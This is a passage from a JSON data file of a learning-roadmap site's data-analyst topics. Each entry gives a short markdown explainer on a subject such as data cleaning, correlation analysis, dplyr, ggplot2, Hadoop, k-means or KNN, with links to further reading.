    "content": "# Data Collection\n\nIn the realm of data analysis, the concept of collection holds immense importance. As the term suggests, collection refers to the process of gathering and measuring information on targeted variables in an established systematic fashion that enables a data analyst to answer relevant questions and evaluate outcomes. This step is foundational to any data analysis scheme, as it is the first line of interaction with the raw data that later transforms into viable insights. The effectiveness of data analysis is heavily reliant on the quality and quantity of data collected. Different methodologies and tools are employed for data collection depending on the nature of the data needed, such as surveys, observations, experiments, or scraping online data stores. This process should be carried out with clear objectives and careful consideration to ensure accuracy and relevance in the later stages of analysis and decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@Data Collection Methods](https://www.questionpro.com/blog/data-collection-methods/)\n- [@article@What is data collection?](https://www.simplilearn.com/what-is-data-collection-article)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/concat@SIiIfcy-jeiRoDlxw385V.md",
    "content": "# Concatenation\n\nThe term 'Concat' or ‘Concatenation’ refers to the operation of combining two or more data structures, be it strings, arrays, or datasets, end-to-end in a sequence. In the context of data analysis, a Data Analyst uses concatenation as a basic function to merge or bind data sets along an axis - either vertically or horizontally. This function is commonly used in data wrangling or preprocessing to combine data from multiple sources, handle missing values, and shape data into a form that fits better with analysis tools. An understanding of 'Concat' plays a crucial role in managing the complex, large data sets that data analysts often work with.\n\nVisit the following resources to learn more:\n\n- [@article@CONCAT Function](https://support.microsoft.com/en-gb/office/concat-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2)\n- [@article@Excel CONCAT Function](https://www.w3schools.com/excel/excel_concat.php)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/correlation-analysis@murioZ0NdrTix_lqSGz-8.md",
    "content": "# Correlation Analysis\n\nCorrelation Analysis is a quantitative method that data analysts widely employ to determine if there is a significant relationship between two variables, and if so, how strong or weak, positive or negative that relationship might be. This form of analysis helps data analysts identify patterns and trends within datasets, and is often represented visually through scatter plots. By using correlation analysis, data analysts can derive valuable insights to inform decision-making processes within a wide range of fields, from marketing to finance. The implementation of correlation analysis is crucial to forecast future outcomes, develop strategies and drive business growth.\n\nVisit the following resources to learn more:\n\n- [@article@Correlation](https://www.mathsisfun.com/data/correlation.html)\n- [@article@What is correlation analysis?](https://blog.flexmr.net/correlation-analysis-definition-exploration)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/count@uAdxP1ZkgzcU8JcWjvw6d.md",
    "content": "# Count\n\nThe Count function in data analysis is one of the most fundamental tasks that a Data Analyst gets to handle. This function is a simple yet powerful tool that aids in understanding the underlying data by providing the count or frequency of occurrences of unique elements in data sets. The relevance of count comes into play in various scenarios – from understanding the popularity of a certain category to analyzing customer activity, and much more. This basic function offers crucial insights into data, making it an essential skill in the toolkit of any data analyst.\n\nVisit the following resources to learn more:\n\n- [@article@COUNT Function](https://support.microsoft.com/en-gb/office/count-function-a59cd7fc-b623-4d93-87a4-d23bf411294c)\n- [@video@How to Count Cells in Microsoft Excel (COUNT, COUNTA, COUNTIF, COUNTIFS Functions)](https://www.youtube.com/watch?v=5RFLncJuMng)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/csv-files@iWOK0mRY-hAGxMnHYJ0tt.md",
    "content": "# CSV Files in Data Collection for Data Analysts\n\nCSV or Comma Separated Values files play an integral role in data collection for data analysts. These file types allow the efficient storage of data and are commonly generated by spreadsheet software like Microsoft Excel or Google Sheets, but their simplicity makes them compatible with a variety of applications that deal with data. In the context of data analysis, CSV files are extensively used to import and export large datasets, making them essential for any data analyst's toolkit. They allow analysts to organize vast amounts of information into a structured format, which is fundamental in extracting useful insights from raw data.\n\nVisit the following resources to learn more:\n\n- [@article@What is a CSV file: A comprehensive guide](https://flatfile.com/blog/what-is-a-csv-file-guide-to-uses-and-benefits/)\n- [@video@Understanding CSV Files](https://www.youtube.com/watch?v=UofTplCVkYI)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/data-cleanup@E6cpb6kvluJM8OGuDcFBT.md",
    "content": "# Data Cleaning\n\nData cleaning, which is often referred as data cleansing or data scrubbing, is one of the most important and initial steps in the data analysis process. As a data analyst, the bulk of your work often revolves around understanding, cleaning, and standardizing raw data before analysis. Data cleaning involves identifying, correcting or removing any errors or inconsistencies in datasets in order to improve their quality. The process is crucial because it directly determines the accuracy of the insights you generate - garbage in, garbage out. Even the most sophisticated models and visualizations would not be of much use if they're based on dirty data. Therefore, mastering data cleaning techniques is essential for any data analyst.\n\nVisit the following resources to learn more:\n\n- [@article@Data Cleaning](https://www.tableau.com/learn/articles/what-is-data-cleaning#:~:text=tools%20and%20software-,What%20is%20data%20cleaning%3F,to%20be%20duplicated%20or%20mislabeled.)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/data-collection@_sjXCLHHTbZromJYn6fnu.md",
    "content": "# Data Collection\n\nData collection is a foundational process that entails gathering relevant data from various sources. This data can be quantitative or qualitative and may be sourced from databases, online platforms, customer feedback, among others. The gathered information is then cleaned, processed, and interpreted to extract meaningful insights. A data analyst performs this whole process carefully, as the quality of data is paramount to ensuring accurate analysis, which in turn informs business decisions and strategies. This highlights the importance of an excellent understanding, proper tools, and precise techniques when it comes to data collection in data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@Data Collection](https://en.wikipedia.org/wiki/Data_collection)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/data-manipulation-libraries@M1QtGTLyygIjePoCfvjve.md",
    "content": "# Data Manipulation Libraries\n\nData manipulation libraries are essential tools in data science and analytics, enabling efficient handling, transformation, and analysis of large datasets. Python, a popular language for data science, offers several powerful libraries for this purpose. Pandas is a highly versatile library that provides data structures like DataFrames, which allow for easy manipulation and analysis of tabular data. NumPy, another fundamental library, offers support for large, multi-dimensional arrays and matrices, along with a collection of mathematical functions to operate on these arrays. Together, Pandas and NumPy form the backbone of data manipulation in Python, facilitating tasks such as data cleaning, merging, reshaping, and statistical analysis, thus streamlining the data preparation process for machine learning and other data-driven applications.\n\nVisit the following resources to learn more:\n\n- [@article@Pandas](https://pandas.pydata.org/)\n- [@article@NumPy](https://numpy.org/)\n- [@article@Top Python Libraries for Data Science](https://www.simplilearn.com/top-python-libraries-for-data-science-article)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/data-storage-solutions@iTmtpXe7dR4XKslgpsk2q.md",
    "content": "# Data Storage Solutions\n\nAs a business enterprise expands, so does its data. For data analysts, the surge in information means they need efficient and scalable data storage solutions to manage vast volumes of structured and unstructured data, collectively referred to as Big Data. Big Data storage solutions are critical in preserving the integrity of data while also providing quick and easy access to the data when needed. These solutions use software and hardware components to securely store massive amounts of information across numerous servers, allowing data analysts to perform robust data extraction, data processing and complex data analyses. There are several options, from the traditional Relational Database Management Systems (RDBMS) to the more recent NoSQL databases, Hadoop ecosystems, and Cloud storage solutions, each offering unique capabilities and benefits to cater for different big data needs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@roadmap@Visit Dedicated PostgreSQL Roadmap](https://roadmap.sh/postgresql-dba)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/data-transformation@t_BRtEharsrOZxoyX0OzV.md",
    "content": "# Data Transformation\n\nData Transformation, also known as Data Wrangling, is an essential part of a Data Analyst's role. This process involves the conversion of data from a raw format into another format to make it more appropriate and valuable for a variety of downstream purposes such as analytics. Data Analysts transform data to make the data more suitable for analysis, ensure accuracy, and to improve data quality. The right transformation techniques can give the data a structure, multiply its value, and enhance the accuracy of the analytics performed by serving meaningful results.\n\nVisit the following resources to learn more:\n\n- [@article@What is data transformation?](https://www.qlik.com/us/data-management/data-transformation)\n- [@feed@Explore top posts about Data Analysis](https://app.daily.dev/tags/data-analysis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/data-visualisation-libraries@l1SnPc4EMqGdaIAhIQfrT.md",
    "content": "# Data Visualization Libraries\n\nData visualization libraries are crucial in data science for transforming complex datasets into clear and interpretable visual representations, facilitating better understanding and communication of data insights. In Python, several libraries are widely used for this purpose. Matplotlib is a foundational library that offers comprehensive tools for creating static, animated, and interactive plots. Seaborn, built on top of Matplotlib, provides a high-level interface for drawing attractive and informative statistical graphics with minimal code. Plotly is another powerful library that allows for the creation of interactive and dynamic visualizations, which can be easily embedded in web applications. Additionally, libraries like Bokeh and Altair offer capabilities for creating interactive plots and dashboards, enhancing exploratory data analysis and the presentation of data findings. Together, these libraries enable data scientists to effectively visualize trends, patterns, and outliers in their data, making the analysis more accessible and actionable."
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/data-visualisation@2g19zjEASJw2ve57hxpr0.md",
    "content": "# Data Visualization\n\nData Visualization is a fundamental fragment of the responsibilities of a data analyst. It involves the presentation of data in a graphical or pictorial format which allows decision-makers to see analytics visually. This practice can help them comprehend difficult concepts or establish new patterns. With interactive visualization, data analysts can take the data analysis process to a whole new level — drill down into charts and graphs for more detail, and interactively changing what data is presented or how it’s processed. Thereby it forms a crucial link in the chain of converting raw data to actionable insights which is one of the primary roles of a Data Analyst.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Visualization?](https://www.ibm.com/think/topics/data-visualization)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/databases@tYPeLCxbqvMFlTkCGjdHg.md",
    "content": "# Databases\n\nBehind every strong data analyst, there's not just a rich assortment of data, but a set of robust databases that enable effective data collection. Databases are a fundamental aspect of data collection in a world where the capability to manage, organize, and evaluate large volumes of data is critical. As a data analyst, the understanding and use of databases is instrumental in capturing the necessary data for conducting qualitative and quantitative analysis, forecasting trends and making data-driven decisions. Thorough knowledge of databases, therefore, can be considered a key component of a data analyst's arsenal. These databases can vary from relational databases like SQL to NoSQL databases like MongoDB, each serving a unique role in the data collection process.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@roadmap@Visit Dedicated PostgreSQL Roadmap](https://roadmap.sh/postgresql-dba)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/datedif@yBlJrNo9eO470dLp6OaQZ.md",
    "content": "# DATEDIF\n\nThe `DATEDIF` function is an incredibly valuable tool for a Data Analyst in Excel or Google Sheets, by providing the ability to calculate the difference between two dates. This function takes in three parameters: start date, end date and the type of difference required (measured in years, months, days, etc.). In Data Analysis, particularly when dealing with time-series data or when you need to uncover trends over specific periods, the `DATEDIF` function is a necessary asset. Recognizing its functionality will enable a data analyst to manipulate or shape data progressively and efficiently.\n\n`DATEDIF` is technically still supported, but wont show as an option. For additional information, see Excel \"Help\" page.\n\nVisit the following resources to learn more:\n\n- [@article@DATEDIF function](https://support.microsoft.com/en-gb/office/datedif-function-25dba1a4-2812-480b-84dd-8b32a451b35c)\n- [@article@How to use DATEDIF in Excel](https://www.excel-easy.com/examples/datedif.html)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/decision-trees@vHDm_9Lh4EqvXNYSOBaqZ.md",
    "content": "# Decision Trees\n\nAs a data analyst, understanding machine learning topics like decision trees is crucial. Decision trees are a fundamental aspect in the field of machine learning and artificial intelligence. They present a simple yet effective method of data analysis. They have applications in several areas including customer relationship management, fraud detection, financial analysis, healthcare and more. In simpler terms, a decision tree can be considered as a method of breaking down complex decisions and estimating likely outcomes. This introduction would help data analysts understand the logic behind decision trees and how they are constructed for the purpose of predictive modeling.\n\nVisit the following resources to learn more:\n\n- [@article@What is machine learning for analytics?](https://www.oracle.com/business-analytics/what-is-machine-learning-for-analytics/)\n- [@article@The Role of Machine Learning in Data Analysis](https://www.ironhack.com/gb/blog/the-role-of-machine-learning-in-data-analysis)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/deep-learning-optional@SiYUdtYMDImRPmV2_XPkH.md",
    "content": "# Deep Learning and Data Analysis\n\nDeep learning, a subset of machine learning technique, is increasingly becoming a critical tool for data analysts. Deep learning algorithms utilize multiple layers of neural networks to understand and interpret intricate structures in large data, a skill that is integral to the daily functions of a data analyst. With the ability to learn from unstructured or unlabeled data, deep learning opens a whole new range of possibilities for data analysts in terms of data processing, prediction, and categorization. It has applications in a variety of industries from healthcare to finance to e-commerce and beyond. A deeper understanding of deep learning methodologies can augment a data analyst's capability to evaluate and interpret complex datasets and provide valuable insights for decision making.\n\nVisit the following resources to learn more:\n\n- [@article@Deep Learning for Data Analysis](https://www.ibm.com/think/topics/deep-learning)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/descriptive-analysis@il6KQXVPGBza5libN38ib.md",
    "content": "# Descriptive Analysis\n\nIn the realm of data analytics, descriptive analysis plays an imperative role as a fundamental step in data interpretation. Essentially, descriptive analysis encompasses the process of summarizing, organizing, and simplifying complex data into understandable and interpretable forms. This method entails the use of various statistical tools to depict patterns, correlations, and trends in a data set. For data analysts, it serves as the cornerstone for in-depth data exploration, providing the groundwork upon which further analysis techniques such as predictive and prescriptive analysis are built.\n\nVisit the following resources to learn more:\n\n- [@article@Descriptive Analytics: What They Are and Related Terms](https://www.investopedia.com/terms/d/descriptive-analytics.asp)\n- [@video@What are Descriptive Analytics?](https://www.youtube.com/watch?v=DlFqQy10aCs)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/descriptive-analytics@hWDh0ooidbqZb000ENVok.md",
    "content": "# Descriptive Analytics\n\nDescriptive Analytics is one of the fundamental types of Data Analytics that provides insight into the past. As a Data Analyst, utilizing Descriptive Analytics involves the technique of using historical data to understand changes that have occurred in a business over time. Primarily concerned with the “what has happened” aspect, it analyzes raw data from the past to draw inferences and identify patterns and trends. This helps companies understand their strengths, weaknesses and pinpoint operational problems, setting the stage for accurate Business Intelligence and decision-making processes.\n\nVisit the following resources to learn more:\n\n- [@article@Descriptive Analytics: What They Are and Related Terms](https://www.investopedia.com/terms/d/descriptive-analytics.asp)\n- [@video@What are Descriptive Analytics?](https://www.youtube.com/watch?v=DlFqQy10aCs)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/diagnostic-analytics@j7DA2J3speSaBsZAV4M0v.md",
    "content": "# Diagnostic Analytics\n\nDiagnostic analytics, as a crucial type of data analytics, is focused on studying past performance to understand why something happened. This is an integral part of the work done by data analysts. Through techniques such as drill-down, data discovery, correlations, and cause-effect analysis, data analysts utilizing diagnostic analytics can look beyond general trends and identify the root cause of changes observed in the data. Consequently, this enables businesses to address operational and strategic issues effectively, by allowing them to grasp the reasons behind such issues. For every data analyst, the skill of performing diagnostic data analytics is a must-have asset that enhances their analysis capability.\n\nVisit the following resources to learn more:\n\n- [@article@What is Diagnostic Analytics?](https://amplitude.com/explore/analytics/what-diagnostic-analytics)\n- [@video@What is Diagnostic Analytics? | Understanding Data-Driven Decision Making](https://www.youtube.com/watch?v=ikZjeAC1yJ0)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/dispersion@2ldO-_ZnIg364Eo8Jyfgr.md",
    "content": "# Dispersion\n\nDispersion in descriptive analysis, specifically for a data analyst, offers a crucial way to understand the variability or spread in a set of data. Descriptive analysis focus on describing and summarizing data to find patterns, relationships, or trends. Distinct measures of dispersion such as range, variance, standard deviation, and interquartile range gives data analysts insight into how spread out data points are, and how reliable any patterns detected may be. This understanding of dispersion helps data analysts in identifying outliers, drawing meaningful conclusions, and making informed predictions.\n\nVisit the following resources to learn more:\n\n- [@article@What is dispersion?](https://www.investopedia.com/terms/d/dispersion.asp)\n- [@video@Statistics 101 - Measures of Dispersion](https://www.youtube.com/watch?v=goXdWMZxlqM)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/distribution-space@Fyqg3MRcwY7g-Q3gjiqwK.md",
    "content": "# Distribution Shape\n\nIn the realm of Data Analysis, the distribution shape is considered as an essential component under descriptive analysis. A data analyst uses the shape of the distribution to understand the spread and trend of the data set. It aids in identifying the skewness (asymmetry) and kurtosis (the 'tailedness') of the data and helps to reveal meaningful patterns that standard statistical measures like mean or median might not capture. The distribution shape can provide insights into data’s normality and variability, informing decisions about which statistical methods are appropriate for further analysis.\n\nVisit the following resources to learn more:\n\n- [@course@Shapes of distributions](https://online.stat.psu.edu/stat414/lesson/13/13.5)\n- [@article@Shapes of Distributions: Definitions, Examples](https://www.statisticshowto.com/shapes-of-distributions/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/dplyr@v8TfY-b4W5ygOv7r-syHq.md",
    "content": "# Data Cleaning with dplyr\n\nData cleaning plays a crucial role in the data analysis pipeline, where it rectifies and enhances the quality of data to increase the efficiency and authenticity of the analytical process. The `dplyr` package, an integral part of the `tidyverse` suite in R, has become a staple in the toolkit of data analysts dealing with data cleaning. `dplyr` offers a coherent set of verbs that significantly simplifies the process of manipulating data structures, such as dataframes and databases. This involves selecting, sorting, filtering, creating or modifying variables, and aggregating records, among other operations. Incorporating `dplyr` into the data cleaning phase enables data analysts to perform operations more effectively, improve code readability, and handle large and complex data with ease.\n\nVisit the following resources to learn more:\n\n- [@official@dplyr](https://dplyr.tidyverse.org/)\n- [@video@Dplyr Essentials](https://www.youtube.com/watch?v=Gvhkp-Yw65U)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/dplyr@y__UHXe2DD-IB7bvMF1-X.md",
    "content": "# Dplyr\n\nDplyr is a powerful and popular toolkit for data manipulation in R. As a data analyst, this library provides integral functions to manipulate, clean, and process data efficiently. It has been designed to be easy and intuitive, ensuring a robust and consistent syntax. Dplyr ensures data reliability and fast processing, essential for analysts dealing with large datasets. With a strong focus on efficiency, dplyr functions like select, filter, arrange, mutate, summarise, and group\\_by optimise data analysis operations, making data manipulation a smoother and hassle-free procedure for data analysts.\n\nVisit the following resources to learn more:\n\n- [@official@dplyr](https://dplyr.tidyverse.org/)\n- [@video@Dplyr Essentials](https://www.youtube.com/watch?v=Gvhkp-Yw65U)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/exploration@XFnw4_dQYSzm96-srWa7X.md",
    "content": "# Exploration\n\nIn the realm of data analytics, exploration of data is a key concept that data analysts leverage to understand and interpret data effectively. Typically, this exploration process involves discerning patterns, identifying anomalies, examining underlying structures, and testing hypothesis, which often gets accomplished via descriptive statistics, visual methods, or sophisticated algorithms. It's a fundamental stepping-stone for any data analyst, ultimately guiding them in shaping the direction of further analysis or modeling. This concept serves as a foundation for dealing with complexities and uncertainties in data, hence improving decision-making in various fields ranging from business and finance to healthcare and social sciences.\n\nVisit the following resources to learn more:\n\n- [@article@What is data exploration](https://www.heavy.ai/learn/data-exploration)\n- [@video@How to do Data Exploration](https://www.youtube.com/watch?v=OY4eQrekQvs)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/finding-outliers@-rQ8h_6NFxEOhxXgo7LHo.md",
    "content": "# Finding Outliers\n\nIn the field of data analysis, data cleaning is an essential and preliminary step. This process involves correcting or removing any errors, inaccuracy, or irrelevance present in the obtained raw data, making it more suitable for analysis. One crucial aspect of this process is \"finding outliers\". Outliers are unusual or surprising data points that deviate significantly from the rest of the data. While they may be the result of mere variability or error, they will often pull the aggregate data towards them, skewing the results and impeding the accuracy of data analysis. Therefore, identifying and appropriately handling these outliers is crucial to ensure the reliability of subsequent data analysis tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Outliers](https://www.mathsisfun.com/data/outliers.html)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/funnel-charts@muFy-C2agCX9vR_NU7UZF.md",
    "content": "# Funnel Chart in Data Visualization\n\nA funnel chart is an important tool for Data Analysts. It is a part of data visualization, the creation and study of the visual representation of data. A funnel chart displays values as progressively diminishing amounts, allowing data analysts to understand the stages that contribute to the output of a process or system. It is often used in sales, marketing or any field that involves a multi-step process, to evaluate efficiency or identify potential problem areas. The 'funnel' shape is symbolic of a typical customer conversion process, going from initial engagement to close of sale. As Data Analysts, understanding and interpreting funnel charts can provide significant insights to drive optimal decision making.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Funnel Chart?](https://www.atlassian.com/data/charts/funnel-chart-complete-guide)\n- [@video@Explain your data with a funnel chart](https://www.youtube.com/watch?v=AwFB9Qg96Ek)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/ggplot2@E0hIgQEeZlEidr4HtUFrL.md",
    "content": "# ggplot2\n\nWhen it comes to data visualization in R programming, ggplot2 stands tall as one of the primary tools for data analysts. This data visualization library, which forms part of the tidyverse suite of packages, facilitates the creation of complex and sophisticated visual narratives. With its grammar of graphics philosophy, ggplot2 enables analysts to build graphs and charts layer by layer, thereby offering detailed control over graphical features and design. Its versatility in creating tailored and aesthetically pleasing graphics is a vital asset for any data analyst tackling exploratory data analysis, reporting, or dashboard building.\n\nVisit the following resources to learn more:\n\n- [@official@ggplot2](https://ggplot2.tidyverse.org/)\n- [@video@Make beautiful graphs in R](https://www.youtube.com/watch?v=qnw1xDnt_Ec)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/ggplot2@n3M49lgNPn28hm7kzki-a.md",
    "content": "# Data Visualization with ggplot2\n\nggplot2 is an important and powerful tool in the data analyst's toolkit, especially for visualizing and understanding complex datasets. Built within the R programming language, it provides a flexible, cohesive environment for creating graphs. The main strength of ggplot2 lies in its ability to produce sophisticated and tailored visualizations. This allows data analysts to communicate data-driven findings in an efficient and effective manner, enabling clear communication to stakeholders about relevant insights and patterns identified within the data.\n\nVisit the following resources to learn more:\n\n- [@article@ggplot2 website](https://ggplot2.tidyverse.org/)\n- [@video@Make beautiful graphs in R](https://www.youtube.com/watch?v=qnw1xDnt_Ec)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/hadoop@wECWIRMlWNoTxz5eKwaSf.md",
    "content": "# Hadoop\n\nHadoop is a critical element in the realm of data processing frameworks, offering an effective solution for storing, managing, and analyzing massive amounts of data. Unraveling meaningful insights from a large deluge of data is a challenging pursuit faced by many data analysts. Regular data processing tools fail to handle large-scale data, paving the way for advanced frameworks like Hadoop. This open-source platform by Apache Software Foundation excels at storing and processing vast data across clusters of computers. Notably, Hadoop comprises two key modules - the Hadoop Distributed File System (HDFS) for storage and MapReduce for processing. Hadoop’s ability to handle both structured and unstructured data further broadens its capacity. For any data analyst, a thorough understanding of Hadoop can unlock powerful ways to manage data effectively and construct meaningful analytics.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Hadoop](https://hadoop.apache.org/)\n- [@article@What Is Hadoop?](https://www.databricks.com/glossary/hadoop)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/handling-missing-data@X9WmfHOks82BIAzs6abqO.md",
    "content": "# Handling Missing Data in Data Cleaning\n\nWhen working with real-world data as a Data Analyst, encountering missing or null values is quite prevalent. This phenomenon is referred to as \"Missing Data\" in the field of data analysis. Missing data can severely impact the results of a data analysis process since it reduces the statistical power, which can distort the reliability and robustness of outcomes.\n\nMissing data is a part of the 'Data Cleaning' step which is a crucial part of the Preprocessing in Data Analytics. It involves identifying incomplete, incorrect or irrelevant data and then replacing, modifying or deleting this dirty data. Successful data cleaning of missing values can significantly augment the overall quality of the data, therefore offering valuable and reliable insights. It is essential for a Data Analyst to understand the different techniques for dealing with missing data, such as different types of imputations based on the nature of the data and research question.\n\nVisit the following resources to learn more:\n\n- [@article@How to Handle Missing Data Values While Data Cleaning](https://insightsoftware.com/blog/how-to-handle-missing-data-values-while-data-cleaning/)\n- [@article@Handling Missing Data in Data Preprocessing and Cleaning](https://medium.com/@yennhi95zz/handling-missing-data-in-data-preprocessing-and-cleaning-methods-and-examples-19a893336b2a)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/heatmap@G8resQXEVEHCaQfDlt3nj.md",
    "content": "# Heatmap\n\nHeatmaps are a crucial component of data visualization that Data Analysts regularly employ in their analyses. As one of many possible graphical representations of data, heatmaps show the correlation or scale of variation between two or more variables in a dataset, making them extremely useful for pattern recognition and outlier detection. Individual values within a matrix are represented in a heatmap as colors, with differing intensities indicating the degree or strength of an occurrence. In short, a Data Analyst would use a heatmap to decode complex multivariate data and turn it into an easily understandable visual that aids in decision making.\n\nVisit the following resources to learn more:\n\n- [@article@A Complete Guide to Heatmaps](https://www.hotjar.com/heatmaps/)\n- [@article@What is a Heatmap?](https://www.atlassian.com/data/charts/heatmap-complete-guide)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/histograms@FEyBFZLaGJqTC-IUEcOVS.md",
    "content": "# Histograms\n\nAs a Data Analyst, understanding and representing complex data in a simplified and comprehensible form is of paramount importance. This is where the concept of data visualization comes into play, specifically the use of histograms. A histogram is a graphical representation that organizes a group of data points into a specified range. It provides an visual interpretation of numerical data by indicating the number of data points that fall within a specified range of values, known as bins. This highly effective tool allows data analysts to view data distribution over a continuous interval or a certain time period, which can further aid in identifying trends, outliers, patterns, or anomalies present in the data. Consequently, histograms are instrumental in making informed business decisions based on these data interpretations.\n\nVisit the following resources to learn more:\n\n- [@article@How a histogram works to display data](https://www.investopedia.com/terms/h/histogram.asp)\n- [@article@What is a histogram](https://www.mathsisfun.com/data/histograms.html)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/hypothesis-testing@Xygwu0m5TeYT6S_8FKKXh.md",
    "content": "# Hypothesis Testing\n\nIn the context of a Data Analyst, hypothesis testing plays an essential role to make inferences or predictions based on data. Hypothesis testing is an approach used to test a claim or theory about a parameter in a population, using data measured in a sample. This method allows Data Analysts to determine whether the observed data deviates significantly from the status quo or not. Essentially, it provides a probability-based mechanism to quantify and deal with the uncertainty inherent in conclusions drawn from not completely reliable data.\n\nVisit the following resources to learn more:\n\n- [@article@Hypothesis Testing](https://latrobe.libguides.com/maths/hypothesis-testing)\n- [@article@Hypothesis Testing - 4 Step](https://www.investopedia.com/terms/h/hypothesistesting.asp)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/if@wME4MSldOWlMB54ekpReS.md",
    "content": "# If\n\nThe IF function in Excel is a crucial tool for data analysts, enabling them to create conditional statements, clean and validate data, perform calculations based on specific conditions, create custom metrics, apply conditional formatting, automate tasks, and generate dynamic reports. Data analysts use IF to categorize data, handle missing values, calculate bonuses or custom metrics, highlight trends, and enhance visualizations, ultimately facilitating informed decision-making through data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@IF Function](https://support.microsoft.com/en-gb/office/if-function-69aed7c9-4e8a-4755-a9bc-aa8bbff73be2)\n- [@article@Excel IF Function](https://exceljet.net/functions/if-function)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/image-recognition@bHPJ6yOHtUq5EjJBSrJUE.md",
    "content": "# Image Recognition\n\nImage Recognition has become a significant domain because of its diverse applications, including facial recognition, object detection, character recognition, and much more. As a Data Analyst, understanding Image Recognition under Deep Learning becomes crucial. The data analyst's role in this context involves deciphering complex patterns and extracting valuable information from image data. This area of machine learning combines knowledge of data analysis, image processing, and deep neural networks to provide accurate results, contributing significantly to the progression of fields like autonomous vehicles, medical imaging, surveillance, among others. Therefore, proficiency in this field paves the way for proficient data analysis, leading to innovative solutions and improved decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@What is Image Recognition?](https://www.techtarget.com/searchenterpriseai/definition/image-recognition)\n- [@article@Image Recognition: Definition, Algorithms & Uses](https://www.v7labs.com/blog/image-recognition-guide)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/introduction@3xp2fogAVmwXQhdzhZDWR.md",
    "content": "# Introduction to Data Analysis\n\nData Analysis plays a crucial role in today's data-centric world. It involves the practice of inspecting, cleansing, transforming, and modeling data to extract valuable insights for decision-making. A **Data Analyst** is a professional primarily tasked with collecting, processing, and performing statistical analysis on large datasets. They discover how data can be used to answer questions and solve problems. With the rapid expansion of data in modern firms, the role of a data analyst has been evolving greatly, making them a significant asset in business strategy and decision-making processes."
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/k-means-clustering@h2xF5bZeUByDgsAi4dga2.md",
    "content": "# Kmeans\n\nKmeans is a fundamentally important method in data analysis and falls under the broad umbrella of machine learning basics. A data analyst using Kmeans clusters large data sets into subgroups or clusters based upon specific characteristics or parameters. The primary purpose is to derive insights from similarities/dissimilarities within the dataset, which can then be used for understanding patterns, trends, and predictive modeling. Accurate use of Kmeans can lead to enhanced decision-making, forecasting and strategic planning based on the data.\n\nVisit the following resources to learn more:\n\n- [@article@K-Means Clustering](https://en.wikipedia.org/wiki/K-means_clustering)\n- [@article@K-Means](https://scikit-learn.org/stable/modules/generated/sklearn.cluster.KMeans.html)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/key-concepts-of-data@R12sArWVpbIs_PHxBqVaR.md",
    "content": "# Introduction to Key Concepts for Data Analysts\n\nIn the realm of data analysis, understanding some key concepts is essential. Data analysis is the process of inspecting, cleansing, transforming, and modeling data to discover useful information and support decision-making. In the broadest sense, data can be classified into various types like nominal, ordinal, interval and ratio, each with a specific role and analysis technique. Higher-dimensional data types like time-series, panel data, and multi-dimensional arrays are also critical. On the other hand, data quality and data management are key concepts to ensure clean and reliable datasets. With an understanding of these fundamental concepts, a data analyst can transform raw data into meaningful insights."
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/knn@SStzU_iXSvI_9QWbvGNou.md",
    "content": "# KNN\n\nK-Nearest Neighbors (KNN) is a simple yet powerful algorithm used in the field of machine learning, which a Data Analyst might employ for tasks such as classification or regression. It works based on the principle of proximity, where the prediction of new instance's category depends upon the category of its nearest neighbors. For a Data Analyst working with complex data sets, it's crucial to understand how the KNN algorithm operates, its applicability, pros, and cons. This will facilitate making well-informed decisions about when to utilize it for the best possible outcome in data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@What is the k-nearest neighbors (KNN) algorithm?](https://www.ibm.com/topics/knn#:~:text=The%20k%2Dnearest%20neighbors%20KNN,used%20in%20machine%20learning%20today.)\n- [@article@Nearest Neighbors](https://scikit-learn.org/stable/modules/neighbors.html)"
  },
  {
